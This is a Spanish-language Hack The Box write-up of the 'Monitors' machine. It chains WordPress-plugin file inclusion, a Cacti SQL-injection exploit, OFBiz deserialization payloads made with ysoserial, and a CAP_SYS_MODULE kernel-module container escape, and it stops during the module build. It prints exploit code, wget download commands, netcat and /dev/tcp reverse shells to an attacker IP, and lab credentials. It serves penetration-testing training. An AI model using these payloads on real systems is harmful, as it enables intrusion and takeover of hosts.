Monitors - Hack The Box

“Monitors” es una máquina Linux de alta dificultad que involucra la explotación de un plugin de WordPress, lo que lleva a una inyección de comandos a través de una inyección SQL a través de una conocida aplicación web de gestión de redes. Esto permite obtener una shell en el sistema. Luego, realizando una enumeración básica de archivos de servicios, es posible obtener la contraseña de usuario y, por lo tanto, un punto de apoyo para acceder al sistema a través de SSH. La fase de root implica un ataque de deserialización basado en XML RPC en Apache OFBiz para obtener una shell en un contenedor Docker. Luego, es posible abusar de la capacidad CAP_SYS_MODULE para cargar un módulo del kernel malicioso en el host y escalar privilegios a root.

Enumeración

Nmap

┌─[ot3ro@parrot]─[~/HTB/Monitors]
└──╼ $sudo nmap -A 10.10.10.238 -p- --open -Pn -n -v -oN nmap-A-monitors


PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 bacccd81fc9155f3f6a91f4ee8bee52e (RSA)
|   256 6943376a1809f5e77a67b81811ead765 (ECDSA)
|_  256 5d5e3f67ef7d762315114b53f8413a94 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Site doesn't have a title (text/html; charset=iso-8859-1).

Uptime guess: 16.271 days (since Sun Sep 24 13:00:34 2023)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=254 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Nmap nos muestra el puerto 22/tcp que ejecuta el servicio SSH con la versión “OpenSSH 7.6p1 Ubuntu 4ubuntu0.3” en un sistema Ubuntu Linux y el puerto 80/tcp que ejecuta un servidor web Apache httpd 2.4.29 en Ubuntu.

El mensaje “Sorry, direct IP access is not allowed” indica que el acceso directo al sitio web no está permitido. En su lugar, se espera que los usuarios utilicen un nombre de dominio. Por lo tanto, vamos a proceder a agregar la entrada del dominio ‘monitors.htb’ en el archivo ‘/etc/hosts

10.10.10.238 monitors.htb

Whatweb

┌─[ot3ro@parrot]─[~/HTB/Monitors]
└──╼ $whatweb http://monitors.htb/ -v -a 3


WhatWeb report for http://monitors.htb/
Status    : 200 OK
Title     : Welcome to Monitor – Taking hardware monitoring seriously
IP        : 10.10.10.238
Country   : RESERVED, ZZ

Summary   : Apache[2.4.29], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.29 (Ubuntu)], JQuery, MetaGenerator[WordPress 5.5.1], Script[text/javascript], UncommonHeaders[link], WordPress[5.5.1]

Detected Plugins:
[ Apache ]
	The Apache HTTP Server Project is an effort to develop and 
	maintain an open-source HTTP server for modern operating 
	systems including UNIX and Windows NT. The goal of this 
	project is to provide a secure, efficient and extensible 
	server that provides HTTP services in sync with the current 
	HTTP standards. 

	Version      : 2.4.29 (from HTTP Server Header)
	Google Dorks: (3)
	Website     : http://httpd.apache.org/

[ HTML5 ]
	HTML version 5, detected by the doctype declaration 


[ HTTPServer ]
	HTTP server header string. This plugin also attempts to 
	identify the operating system from the server header. 

	OS           : Ubuntu Linux
	String       : Apache/2.4.29 (Ubuntu) (from server string)

[ JQuery ]
	A fast, concise, JavaScript that simplifies how to traverse 
	HTML documents, handle events, perform animations, and add 
	AJAX. 

	Website     : http://jquery.com/

[ MetaGenerator ]
	This plugin identifies meta generator tags and extracts its 
	value. 

	String       : WordPress 5.5.1

[ Script ]
	This plugin detects instances of script HTML elements and 
	returns the script language/type. 

	String       : text/javascript

[ UncommonHeaders ]
	Uncommon HTTP server headers. The blacklist includes all 
	the standard headers and many non standard but common ones. 
	Interesting but fairly common headers should have their own 
	plugins, eg. x-powered-by, server and x-aspnet-version. 
	Info about headers can be found at www.http-stats.com 

	String       : link (from headers)

[ WordPress ]
	WordPress is an opensource blogging system commonly used as 
	a CMS. 

	Version      : 5.5.1
	Aggressive function available (check plugin file or details).
	Google Dorks: (1)
	Website     : http://www.wordpress.org/

HTTP Headers:
	HTTP/1.1 200 OK
	Date: Wed, 11 Oct 2023 02:28:39 GMT
	Server: Apache/2.4.29 (Ubuntu)
	Link: <http://monitors.htb/index.php/wp-json/>; rel="https://api.w.org/"
	Vary: Accept-Encoding
	Content-Encoding: gzip
	Content-Length: 4113
	Connection: close
	Content-Type: text/html; charset=UTF-8

Wordpress

Como podemos ver se está utilizando WordPress versión 5.5.1 como CMS para el sitio web.

┌─[✗]─[ot3ro@parrot]─[~/HTB/Monitors]
└──╼ $wpscan --url http://monitors.htb/

...[SNIP]...

[i] Plugin(s) Identified:

[+] wp-with-spritz
 | Location: http://monitors.htb/wp-content/plugins/wp-with-spritz/
 | Latest Version: 1.0 (up to date)
 | Last Updated: 2015-08-20T20:15:00.000Z
 |
 | Found By: Urls In Homepage (Passive Detection)
 |
 | Version: 4.2.4 (80% confidence)
 | Found By: Readme - Stable Tag (Aggressive Detection)
 |  - http://monitors.htb/wp-content/plugins/wp-with-spritz/readme.txt

WPScan nos lista un plugin llamado ‘wp-with-spritz’ y la ubicación de los archivos en “http://monitors.htb/wp-content/plugins/wp-with-spritz/”

Al buscar en la web podemos encontrar un exploit relacionado con el plugin ‘wp-with-spritz’

WordPress Plugin WP with Spritz 1.0 - Remote File Inclusion

Al aplicar la técnica ‘LFI’ según se muestra en el exploit, logramos extraer el archivo ‘/etc/passwd’

En la mayoría de las instalaciones de Apache, el archivo de configuración del virtual host predeterminado se llama “000-default.conf” o “default.conf” y suele ubicarse en el directorio de configuración del servidor web, como “/etc/apache2/sites-available/” en sistemas Linux.

“url=/../../../..//etc/apache2/sites-enabled/000-default.conf”:

Los comentarios indican que existen otros archivos de configuración llamados “monitors.htb.conf” y “cacti-admin.monitors.htb.conf” que están relacionados con la configuración del host virtual que se muestra en este archivo.

“url=/../../../../../..//etc/apache2/sites-enabled/monitors.htb.conf”:

El archivo de configuración ‘monitors.htb.conf’ nos muestra la ubicación del directorio principal de “Wordpress”

Podemos examinar el archivo “wp-config.php” , que es un archivo de configuración fundamental en WordPress, este archivo contiene información sensible relacionada con la base de datos y otros ajustes esenciales

“url=/../../../..//var/www/wordpress/wp-config.php”:

obtenemos un error al intentar iniciar sessión en wordpress con las credenciales encontradas en el archivo ‘wp-config.php’

Anteriormente identificamos el virtual host ‘cacti-admin.monitors.htb’ en el archivo ‘cacti-admin.monitors.htb.conf’

url=/../../../..//etc/apache2/sites-enabled/cacti-admin.monitors.htb.conf

el servidor virtual (vhost) para “cacti-admin.monitors.htb” parece estar activo y configurado.

Registramos el vhost en el archivo /etc/hosts:

10.10.10.238 monitors.htb cacti-admin.monitors.htb

Cacti

Al dirigirnos al subdominio ‘http://cacti-admin.monitors.htb/’ se nos presenta un panel de autenticación correspondiente a la versión 1.2.12 de ‘Cacti’

"Cacti es una plataforma de monitoreo de red y gestión de fallas de código abierto que permite a los usuarios supervisar y administrar dispositivos de red"

En el panel de autenticación en el sitio de ‘Cacti’ logramos autenticarnos con las credenciales “admin:BestAdministrator@2020!” que encontramos en el archivo ‘wp-config.php’

La versión 1.2.12 de la aplicación Cacti presenta una vulnerabilidad crítica de ‘Inyección SQL’, que habilita la ejecución de código remoto no autorizado.

┌─[ot3ro@parrot]─[~/HTB/Monitors]
└──╼ $searchsploit cacti
---------------------------------------- ---------------------------------
 Exploit Title                          |  Path
---------------------------------------- ---------------------------------
Cacti 1.2.12 - 'filter' SQL Injection   | php/webapps/49810.py
# Exploit Title: Cacti 1.2.12 - 'filter' SQL Injection / Remote Code Execution
# Date: 04/28/2021
# Exploit Author: Leonardo Paiva
# Vendor Homepage: https://www.cacti.net/
# Software Link: https://www.cacti.net/downloads/cacti-1.2.12.tar.gz
# Version: 1.2.12
# Tested on: Ubuntu 20.04
# CVE : CVE-2020-14295
# Credits: @M4yFly (https://twitter.com/M4yFly)
# References:
# https://github.commandcom/Cacti/cacti/issues/3622
# https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-14295

#!/usr/bin/python3

import argparse
import requests
import sys
import urllib.parse
from bs4 import BeautifulSoup

# proxies = {'http': 'http://127.0.0.1:8080'}


...[SNIP]...

def exploit(lhost, lport, session):
    rshell = urllib.parse.quote(f"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {lhost} {lport} >/tmp/f")
    payload = f"')+UNION+SELECT+1,username,password,4,5,6,7+from+user_auth;update+settings+set+value='{rshell};'+where+name='path_php_binary';--+-"

    exploit_request = session.get(url + f"/cacti/color.php?action=export&header=false&filter=1{payload}") #, proxies=proxies)

    print("\n[+] SQL Injection:")
    print(exploit_request.text)

    try:
        session.get(url + "/cacti/host.php?action=reindex", timeout=1) #, proxies=proxies)

...[SNIP]...

exploit

Este exploit inyecta una consulta SQL maliciosa en una solicitud HTTP a la aplicación Cacti. La consulta intenta robar credenciales de usuario y, al mismo tiempo, establece un acceso remoto al sistema objetivo a través de un túnel inverso.

┌─[✗]─[ot3ro@parrot]─[~/HTB/Monitors]
└──╼ $python3 49810.py -t http://cacti-admin.monitors.htb -u admin -p 'BestAdministrator@2020!' --lhost 10.10.14.9 --lport 443

[+] Connecting to the server...
[+] Retrieving CSRF token...
[+] Got CSRF token: sid:761c0a24c7d3341c961ba95fdfdde6c2bb3c9305,1697155640
[+] Trying to log in...
[+] Successfully logged in!

[+] SQL Injection:
"name","hex"
"",""
"admin","$2y$10$TycpbAes3hYvzsbRxUEbc.dTqT0MdgVipJNBYu8b7rUlmB8zn8JwK"
"guest","43e9a4ab75570f5b"

[+] Check your nc listener!

┌─[✗]─[ot3ro@parrot]─[~]
└──╼ $sudo nc -lnvp 443
listening on [any] 443 ...
connect to [10.10.14.9] from (UNKNOWN) [10.10.10.238] 52014
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
$ pwd
/usr/share/cacti/cacti
$ 

Otra forma de obtener una revershell sería a través de Burp Suite, aplicando manualmente la misma lógica que utiliza el script. Esto implica aprovechar la ejecución de código en el parámetro ‘filter’ de la sección ‘color’ en el panel de Cacti.

Luego hacemos una reindexación al dirigirnos a “http://cacti-admin.monitors.htb/cacti/host.php?action=reindex” para que se actualice nuestro código y se ejecute, como se especifica en el exploit.

┌─[ot3ro@parrot]─[~/HTB/Monitors]
└──╼ $sudo nc -lnvp 9001

listening on [any] 9001 ...
connect to [10.10.14.9] from (UNKNOWN) [10.10.10.238] 33190
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
$ uname -a
Linux monitors 4.15.0-151-generic #157-Ubuntu SMP Fri Jul 9 23:07:57 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ 

Escalada de privilegios a marcus

www-data@monitors:/etc/systemd/system$ cd /home/
www-data@monitors:/home$ ls
marcus
www-data@monitors:/home$ cd marcus/
www-data@monitors:/home/marcus$ ls -al

d--x--x--x 2 marcus marcus 4096 Nov 10  2020 .backup
lrwxrwxrwx 1 root   root      9 Nov 10  2020 .bash_history -> /dev/null
-rw-r--r-- 1 marcus marcus  220 Apr  4  2018 .bash_logout
-rw-r--r-- 1 marcus marcus 3771 Apr  4  2018 .bashrc
drwx------ 2 marcus marcus 4096 Jan 25  2021 .cache
drwx------ 3 marcus marcus 4096 Nov 10  2020 .gnupg
-rw-r--r-- 1 marcus marcus  807 Apr  4  2018 .profile
-r--r----- 1 root   marcus   84 Jan 25  2021 note.txt
-r--r----- 1 root   marcus   33 Oct 13 02:32 user.txt
www-data@monitors:/home/marcus$ cat user.txt 
cat: user.txt: Permission denied
www-data@monitors:/home/marcus$ cat note.txt 
cat: note.txt: Permission denied
www-data@monitors:/home/marcus$ cd .backup/
www-data@monitors:/home/marcus/.backup$ ls -al
ls: cannot open directory '.': Permission denied
www-data@monitors:/home/marcus/.backup$ cd ..

Intentamos enumerar los archivos en el directorio del usuario ‘marcus’, pero se nos deniega el permiso.

www-data@monitors:/home/marcus$ find / -type f -name "*cacti*" 2>/dev/null 

...[SNIP]...

/lib/systemd/system/cacti-backup.service

...[SNIP]...

Luego de enumerar el sistema, encontramos un archivo de unidad de systemd que define un servicio llamado “cacti-backup”

www-data@monitors:/home/marcus$ cat /lib/systemd/system/cacti-backup.service

[Unit]
Description=Cacti Backup Service
After=network.target

[Service]
Type=oneshot
User=www-data
ExecStart=/home/marcus/.backup/backup.sh

[Install]
WantedBy=multi-user.target

Este archivo de unidad de systemd configura un servicio llamado “Cacti Backup Service” que se inicia después de que se haya establecido la red. El servicio se ejecuta una vez, utiliza el usuario “www-data” y ejecuta el script de respaldo “/home/marcus/.backup/backup.sh

www-data@monitors:/home/marcus$ cat .backup/backup.sh

#!/bin/bash

backup_name="cacti_backup"
config_pass="VerticalEdge2020"

zip /tmp/${backup_name}.zip /usr/share/cacti/cacti/*
sshpass -p "${config_pass}" scp /tmp/${backup_name} 192.168.1.14:/opt/backup_collection/${backup_name}.zip
rm /tmp/${backup_name}.zip

El script ‘backup.sh’ se encarga de empaquetar los archivos de Cacti en un archivo ZIP, copiar ese archivo a un servidor remoto utilizando SSH con contraseña, y luego eliminar el archivo ZIP temporal en el sistema local

La contraseña “VerticalEdge2020” nos permite iniciar sesión en el sistema como el usuario marcus.

www-data@monitors:/home/marcus$ ssh marcus@10.10.10.238
marcus@10.10.10.238's password: 
marcus@monitors:~$ 
marcus@monitors:~$ whoami
marcus
marcus@monitors:~$ cat user.txt
 
160f5466f4f83a195b97e563da59874e

Escalada de privilegios a root

Continuando con la enumeración , localizamos un servicio web que usa el puerto 8443

marcus@monitors:~$ ss -tln
State    Recv-Q    Send-Q        Local Address:Port        Peer Address:Port    
LISTEN   0         128           127.0.0.53%lo:53               0.0.0.0:*       
LISTEN   0         128                 0.0.0.0:22               0.0.0.0:*       
LISTEN   0         128               127.0.0.1:8443             0.0.0.0:*       
LISTEN   0         80                127.0.0.1:3306             0.0.0.0:*       
LISTEN   0         128                       *:80                     *:*       
LISTEN   0         128                    [::]:22                  [::]:*

Vamos a configurar un reenvío del puerto(‘Port forwarding’) 8443 de la máquina remota para que podamos acceder a el servicio en nuestra propia máquina local a través de dicho puerto.

┌─[✗]─[ot3ro@parrot]─[~/HTB/Monitors]
└──╼ $ssh marcus@10.10.10.238 -L 8443:localhost:8443

┌─[ot3ro@parrot]─[~/HTB/Monitors]
└──╼ $gobuster dir -u https://127.0.0.1:8443/ -k -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt 
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     https://127.0.0.1:8443/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2023/10/14 02:34:23 Starting gobuster in directory enumeration mode
===============================================================
/images               (Status: 302) [Size: 0] [--> /images/]
/content              (Status: 302) [Size: 0] [--> /content/]
/common               (Status: 302) [Size: 0] [--> /common/] 
/catalog              (Status: 302) [Size: 0] [--> /catalog/]
/marketing            (Status: 302) [Size: 0] [--> /marketing/]
/ecommerce            (Status: 302) [Size: 0] [--> /ecommerce/]
/ap                   (Status: 302) [Size: 0] [--> /ap/]       
/ar                   (Status: 302) [Size: 0] [--> /ar/]       
/ebay                 (Status: 302) [Size: 0] [--> /ebay/]     
/manufacturing        (Status: 302) [Size: 0] [--> /manufacturing/]
/passport             (Status: 302) [Size: 0] [--> /passport/]     
/example              (Status: 302) [Size: 0] [--> /example/]      
/bi                   (Status: 302) [Size: 0] [--> /bi/]           
/accounting           (Status: 302) [Size: 0] [--> /accounting/]   
/webtools             (Status: 302) [Size: 0] [--> /webtools/] 

Nos encontramos con un servicio llamado ‘OFBiz’ versión 17.12.01 corriendo en un servidor Apache

Apache OFBiz (The Apache Open For Business Project) es un marco de aplicaciones empresariales de código abierto basado en Java y una suite de software que proporciona una plataforma para el desarrollo y la automatización de procesos empresariales

Exploit

En Apache OFBiz, hay un punto de acceso XMLRPC en la dirección /webtools/control/xmlrpc. Para explotar la vulnerabilidad necesitamos hacer una petición POST a /webtools/control/xmlrpc y adjuntar un payload base64 a la entidad serializable dentro del archivo XML en la petición

<?xml version="1.0"?>
<methodCall>
  <methodName>ProjectDiscovery</methodName>
  <params>
    <param>
      <value>
        <struct>
          <member>
            <name>test</name>
            <value>
              <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">[base64-payload]</serializable>
            </value>
          </member>
        </struct>
      </value>
    </param>
  </params>
</methodCall>

fuentes: ofbiz-CVE-2020-9496 , javase-jre8-downloads.html

Para poder generar nuestros payloads, primero tenemos que descargarnos la herramienta ysoserial-all.jar

La herramienta ysoserial-all.jar contiene diferentes "gadgets" (fragmentos de código que pueden ser utilizados de manera maliciosa) que se aprovechan en ataques de deserialización. Un atacante puede utilizar esta herramienta para generar datos serializados maliciosos que, cuando se deserializan en una aplicación vulnerable, pueden llevar a la ejecución de código arbitrario en el sistema objetivo

Luego nos crearemos un archivo llamado ‘shell.sh’ con nuestra reverse shell

#!/bin/bash

bash -i >& /dev/tcp/10.10.14.9/443 0>&1

Iniciamos un servidor HTTP para poner en servicio nuestro archivo ‘shell.sh’, generamos el primer payload en base64 y lo mandamos al servidor en una petición POST

NOTA: puedes usar tanto Burpsuite como curl para mandar los payloads por POST

┌─[ot3ro@parrot]─[~/HTB/Monitors]
└──╼ $java -jar ysoserial-all.jar CommonsBeanutils1 "wget http://10.10.14.9/shell.sh -O /tmp/shell.sh" | base64 | tr -d "\n"

rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAK29yZy5hcGFjaGUuY29tbW9ucy5iZWFudXRpbHMuQmVhbkNvbXBhcmF0b3LjoYjqcyKkSAIAAkwACmNvbXBhcmF0b3JxAH4AAUwACHByb3BlcnR5dAASTGphdmEvbGFuZy9TdHJpbmc7eHBzcgA/b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmNvbXBhcmF0b3JzLkNvbXBhcmFibGVDb21wYXJhdG9y+/SZJbhusTcCAAB4cHQAEG91dHB1dFByb3BlcnRpZXN3BAAAAANzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3QAEltMamF2YS9sYW5nL0NsYXNzO0wABV9uYW1lcQB+AARMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAD/////dXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAACdXIAAltCrPMX+AYIVOACAAB4cAAABsTK/rq+AAAAMgA5CgADACIHADcHACUHACYBABBzZXJpYWxWZXJzaW9uVUlEAQABSgEADUNvbnN0YW50VmFsdWUFrSCT85Hd7z4BAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAE1N0dWJUcmFuc2xldFBheWxvYWQBAAxJbm5lckNsYXNzZXMBADVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRTdHViVHJhbnNsZXRQYXlsb2FkOwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwAnAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApTb3VyY2VGaWxlAQAMR2FkZ2V0cy5qYXZhDAAKAAsHACgBADN5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJFN0dWJUcmFuc2xldFBheWxvYWQBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQAUamF2YS9pby9TZXJpYWxpemFibGUBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzAQAIPGNsaW5pdD4BABFqYXZhL2xhbmcvUnVudGltZQcAKgEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMACwALQoAKwAuAQAwd2dldCBodHRwOi8vMTAuMTAuMTQuOS9zaGVsbC5zaCAtTyAvdG1wL3NoZWxsLnNoCAAwAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAMgAzCgArADQBAA1TdGFja01hcFRhYmxlAQAdeXNvc2VyaWFsL1B3bmVyMjgxNzQ1MDk4NTAzNzYBAB9MeXNvc2VyaWFsL1B3bmVyMjgxNzQ1MDk4NTAzNzY7ACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAAEAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAALwAOAAAADAABAAAABQAPADgAAAABABMAFAACAAwAAAA/AAAAAwAAAAGxAAAAAgANAAAABgABAAAANAAOAAAAIAADAAAAAQAPADgAAAAAAAEAFQAWAAEAAAABABcAGAACABkAAAAEAAEAGgABABMAGwACAAwAAABJAAAABAAAAAGxAAAAAgANAAAABgABAAAAOAAOAAAAKgAEAAAAAQAPADgAAAAAAAEAFQAWAAEAAAABABwAHQACAAAAAQAeAB8AAwAZAAAABAABABoACAApAAsAAQAMAAAAJAADAAIAAAAPpwADAUy4AC8SMbYANVexAAAAAQA2AAAAAwABAwACACAAAAACACEAEQAAAAoAAQACACMAEAAJdXEAfgAQAAAB1Mr+ur4AAAAyABsKAAMAFQcAFwcAGAcAGQEAEHNlcmlhbFZlcnNpb25VSUQBAAFKAQANQ29uc3RhbnRWYWx1ZQVx5mnuPG1HGAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQADRm9vAQAMSW5uZXJDbGFzc2VzAQAlTHlzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkRm9vOwEAClNvdXJjZUZpbGUBAAxHYWRnZXRzLmphdmEMAAoACwcAGgEAI3lzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkRm9vAQAQamF2YS9sYW5nL09iamVjdAEAFGphdmEvaW8vU2VyaWFsaXphYmxlAQAfeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cwAhAAIAAwABAAQAAQAaAAUABgABAAcAAAACAAgAAQABAAoACwABAAwAAAAvAAEAAQAAAAUqtwABsQAAAAIADQAAAAYAAQAAADwADgAAAAwAAQAAAAUADwASAAAAAgATAAAAAgAUABEAAAAKAAEAAgAWABAACXB0AARQd25ycHcBAHhxAH4ADXg=┌

Con el primer payload básicamente obligamos al servidor a descargar nuestro archivo ‘shell.sh’ y guardarlo en el directorio /tmp

El mismo procedimiento anterior aplica para cada uno de los payloads

┌─[✗]─[ot3ro@parrot]─[~/HTB/Monitors]
└──╼ $sudo python3 -m http.server 80

Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.238 - - [13/Oct/2023 04:24:00] "GET /shell.sh HTTP/1.1" 200 -

Con el sig. payload otorgamos permisos de ejecución a todos los usuarios sobre el archivo ‘shell.sh’

┌─[ot3ro@parrot]─[~/HTB/Monitors]
└──╼ $java -jar ysoserial-all.jar CommonsBeanutils1 "chmod 777 /tmp/shell.sh" | base64 | tr -d "\n";echo

...[BASE64]...

Con el último payload vamos a ejecutar nuestro archivo ‘shell.sh’ y antes de mandarlo nos ponemos en escucha con ‘Netcat’

sudo nc -lnvp 443

┌─[ot3ro@parrot]─[~/HTB/Monitors]
└──╼ $java -jar ysoserial-all.jar CommonsBeanutils1 "bash -c /tmp/shell.sh" | base64 | tr -d "\n";echo


...[BASE64]...
┌─[ot3ro@parrot]─[~/HTB/Monitors]
└──╼ $sudo nc -lnvp 443

listening on [any] 443 ...
connect to [10.10.14.9] from (UNKNOWN) [10.10.10.238] 33774
bash: cannot set terminal process group (30): Inappropriate ioctl for device
bash: no job control in this shell
root@a3879984685b:/usr/src/apache-ofbiz-17.12.01# whoami
root
root@a3879984685b:/usr/src/apache-ofbiz-17.12.01# pwd
/usr/src/apache-ofbiz-17.12.01
root@a3879984685b:/usr/src/apache-ofbiz-17.12.01# uname -a
Linux a3879984685b 4.15.0-151-generic #157-Ubuntu SMP Fri Jul 9 23:07:57 UTC 2021 x86_64 GNU/Linux
root@a3879984685b:/usr/src/apache-ofbiz-17.12.01# id
uid=0(root) gid=0(root) groups=0(root)
root@a3879984685b:/usr/src/apache-ofbiz-17.12.01# hostname
a3879984685b
root@a3879984685b:/usr/src/apache-ofbiz-17.12.01# df /
Filesystem     1K-blocks    Used Available Use% Mounted on
overlay         18445008 6453836  11786068  36% /
root@a3879984685b:/usr/src/apache-ofbiz-17.12.01# ps -eM
LABEL                              PID TTY          TIME CMD
docker-default (enforce)           167 ?        00:00:00 shell.sh
...

identificamos que estamos dentro de un contenedor Docker.

root@a3879984685b:/bin# capsh --print
Current: = cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_module,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+eip
Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_module,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
Securebits: 00/0x0/1'b0
 secure-noroot: no (unlocked)
 secure-no-suid-fixup: no (unlocked)
 secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=

Logramos listar las capacidades del usuario en el entorno de contenedor de Docker, la capacidad más relevante de interés es CAP_SYS_MODULE (Control System Module), una capacidad de Linux que otorga a un proceso el privilegio de administrar la carga y descarga de módulos del kernel del sistema operativo.

capabilities.7.html

CAP_SYS_MODULE
                Load and unload kernel modules (see init_module(2) and
                 delete_module(2));
                before Linux 2.6.25: drop capabilities from the system-
                 wide capability bounding set.

Los módulos del kernel son fragmentos de código que pueden cargarse y descargarse dinámicamente en el kernel del sistema operativo para proporcionar funcionalidades adicionales o controladores para dispositivos.

Lo que haremos a continuación es agregar nuestra revershell al sistema como si fuera un módulo del kernel, aprovechando nuestra capabilidad de ‘cap_sys_module.’

Fuentes: container-breakouts-part2/ , abusing-sys-module-capability

Una vez se cargue el módulo en el kernel, se enviará la revershell automaticamente a nuestro listener.

root@f89953eb655c:/tmp# vi reverse-shell.c
root@f89953eb655c:/tmp# cat reverse-shell.c 
#include <linux/kmod.h>
#include <linux/module.h>
MODULE_LICENSE("GPL");
MODULE_AUTHOR("AttackDefense");
MODULE_DESCRIPTION("LKM reverse shell module");
MODULE_VERSION("1.0");
char* argv[] = {"/bin/bash","-c","bash -i >& /dev/tcp/10.10.14.9/1337 0>&1", NULL};
static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL };
static int __init reverse_shell_init(void) {
return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
}
static void __exit reverse_shell_exit(void) {
printk(KERN_INFO "Exiting\n");
}
module_init(reverse_shell_init);
module_exit(reverse_shell_exit);

Este Makefile se utiliza para compilar nuestro módulo custom de kernel de Linux.

root@f89953eb655c:/tmp# vi makefile
root@f89953eb655c:/tmp# cat makefile

obj-m +=reverse-shell.o
all:
	make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
clean:
	make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
root@f89953eb655c:/tmp# make
make -C /lib/modules/4.15.0-151-generic/build M=/tmp modules
make[1]: Entering directory '/usr/src/linux-headers-4.15.0-151-generic'
  CC [M]  /tmp/reverse-shell.o
  Building modules, stage 2.
  MODPOST 1 modules
